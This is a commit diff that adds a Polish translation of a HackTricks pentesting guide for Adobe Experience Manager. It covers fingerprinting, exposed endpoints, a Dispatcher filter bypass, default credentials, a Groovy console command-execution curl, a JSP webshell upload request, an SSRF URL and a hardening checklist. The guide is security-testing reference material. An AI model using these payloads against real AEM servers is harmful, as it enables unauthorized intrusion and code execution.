Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:45 +00:00
parent 1beacbcbd5
commit 6cba4fe29f

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}}
Znajdź luki i błędy konfiguracyjne za pomocą [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, część Adobe Experience Cloud) to korporacyjny CMS, który działa na Apache Sling/Felix (OSGi) oraz Java Content Repository (JCR).
> Z perspektywy atakującego instancje AEM często ujawniają niebezpieczne punkty końcowe do rozwoju, słabe zasady Dispatcher, domyślne dane uwierzytelniające oraz długą listę CVE, które są łatanie co kwartał.
Lista kontrolna poniżej koncentruje się na **zewnętrznie dostępnej (unauth) powierzchni ataku**, która wciąż pojawia się w rzeczywistych zaangażowaniach (2022-2025).
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Inne szybkie wskaźniki:
* `/etc.clientlibs/` statyczna ścieżka obecna (zwraca JS/CSS).
* `/libs/granite/core/content/login.html` strona logowania z banerem „Adobe Experience Manager”.
* `</script><!--/* CQ */-->` komentarz na dole HTML.
---
## 2. Wysokowartościowe punkty końcowe bez uwierzytelnienia
Ścieżka | Co otrzymujesz | Uwagi
---- | ------------- | -----
`/.json`, `/.1.json` | Węzły JCR za pomocą **DefaultGetServlet** | Często zablokowane, ale *Dispatcher bypass* (patrz poniżej) działa.
`/bin/querybuilder.json?path=/` | API QueryBuilder | Wyciek drzewa stron, wewnętrzne ścieżki, nazwy użytkowników.
`/system/console/status-*`, `/system/console/bundles` | Konsola OSGi/Felix | 403 domyślnie; jeśli ujawnione i znalezione dane uwierzytelniające ⇒ RCE przy przesyłaniu pakietów.
`/crx/packmgr/index.jsp` | Menedżer pakietów | Umożliwia przesyłanie pakietów treści z uwierzytelnieniem → przesyłanie ładunku JSP.
`/etc/groovyconsole/**` | AEM Groovy Console | Jeśli ujawnione → dowolne wykonanie Groovy / Java.
`/libs/cq/AuditlogSearchServlet.json` | Dzienniki audytu | Ujawnienie informacji.
`/libs/cq/ui/content/dumplibs.html` | Zrzut ClientLibs | Wektor XSS.
### Sztuczka z obejściem Dispatcher
Większość stron produkcyjnych znajduje się za *Dispatcher* (reverse-proxy). Jego zasady filtrów można obejść, dodając dozwoloną statyczną rozszerzenie **po średniku lub zakodowanej nowej linii**:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
Jedno zapytanie, jak powyżej, często ujawnia węzły profilu użytkownika z adresami e-mail. P-T Partners opublikowało dobre wskazówki dotyczące tej słabości. 【】
---
## 3. Typowe błędne konfiguracje (wciąż obecne w 2025)
1. **Anonimowy serwlet POST** `POST /.json` z `:operation=import` pozwala na dodawanie nowych węzłów JCR. Zablokowanie `*.json` POST w Dispatcherze to naprawia. 【】
2. **Profile użytkowników dostępne dla wszystkich** domyślne ACL przyznaje `jcr:read` na `/home/users/**/profile/*` wszystkim.
3. **Domyślne dane logowania** `admin:admin`, `author:author`, `replication:replication`.
4. **Włączony WCMDebugFilter** ⇒ odzwierciedlone XSS przez `?debug=layout` (CVE-2016-7882, wciąż znalezione w starszych instalacjach 6.4).
5. **Ekspozycja Groovy Console** zdalne wykonanie kodu przez wysłanie skryptu Groovy:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. Ostatnie luki (cykl wydania pakietów serwisowych)
Kwartał | CVE | Dotknięte | Wpływ
------- | --- | -------- | ------
Grudzień 2024 | **CVE-2024-43711** | 6.5.21 i wcześniejsze | Niewłaściwa walidacja wejścia → **Wykonanie dowolnego kodu** (wymaga niskoprawnych uprawnień). 【】
Grudzień 2024 | CVE-2024-43724/26 | 6.5.21 i wcześniejsze | DOM / Przechowywane XSS w kreatorze przenoszenia strony. 【】
Grudzień 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS oparte na DOM przez spreparowany URL. 【】
Grudzień 2022 | CVE-2022-30683 | ≤ 6.5.13 | Wada w projektowaniu kryptograficznym → odszyfrowanie sekretu (wymaga niskoprawnych danych logowania). 【】
Zawsze sprawdzaj biuletyn *APSB* odpowiadający pakietowi serwisowemu klienta i żądaj najnowszej wersji **6.5.22** lub *Cloud Service 2024.11*.
---
## 5. Fragmenty wykorzystania
### 5.1 RCE przez obejście dispatcher + przesyłanie JSP
Jeśli anonimowe zapisywanie jest możliwe:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Teraz zażądaj `/content/evil.jsp` JSP działa z użytkownikiem procesu AEM.
### 5.2 SSRF do RCE (historyczne < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
`aem_ssrf2rce.py` z **aem-hacker** automatyzuje cały proces. 【】
---
## 6. Narzędzia
* **aem-hacker** skrypt do enumeracji typu szwajcarski scyzoryk, wspiera obejście dispatcher, wykrywanie SSRF, sprawdzanie domyślnych poświadczeń i więcej.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force** rekurencyjnie żądaj `/_jcr_content.(json|html)`, aby odkryć ukryte komponenty.
* **osgi-infect** przesyłaj złośliwy pakiet OSGi przez `/system/console/bundles`, jeśli dostępne są poświadczenia.
---
## 7. Lista kontrolna wzmacniania (dla rekomendacji w Twoim raporcie)
1. Utrzymuj instancję na **najświeższym skumulowanym pakiecie serwisowym** (stan na lipiec 2025: 6.5.22).
2. Usuń/zmień domyślne konta; wymuś SSO/SAML.
3. Zaostrzyć **filtry Dispatcher** odrzucaj `;`, zakodowane nowe linie oraz `*.json` lub `*.querybuilder.json` dla anonimowych użytkowników.
4. Wyłącz lub zabezpiecz konsolę (`/system/console`, `/crx/*`, `/etc/groovyconsole`) za pomocą listy dozwolonych adresów IP.
5. Zastosuj pakiet *Wzmacnianie uprawnień anonimowych* dostarczony przez Adobe.
## Odniesienia
* Adobe Security Bulletin APSB24-69 “Aktualizacje zabezpieczeń dla Adobe Experience Manager (grudzień 2024)”.
* 0ang3el narzędzie aem-hacker (GitHub).
{{#include ../../banners/hacktricks-training.md}}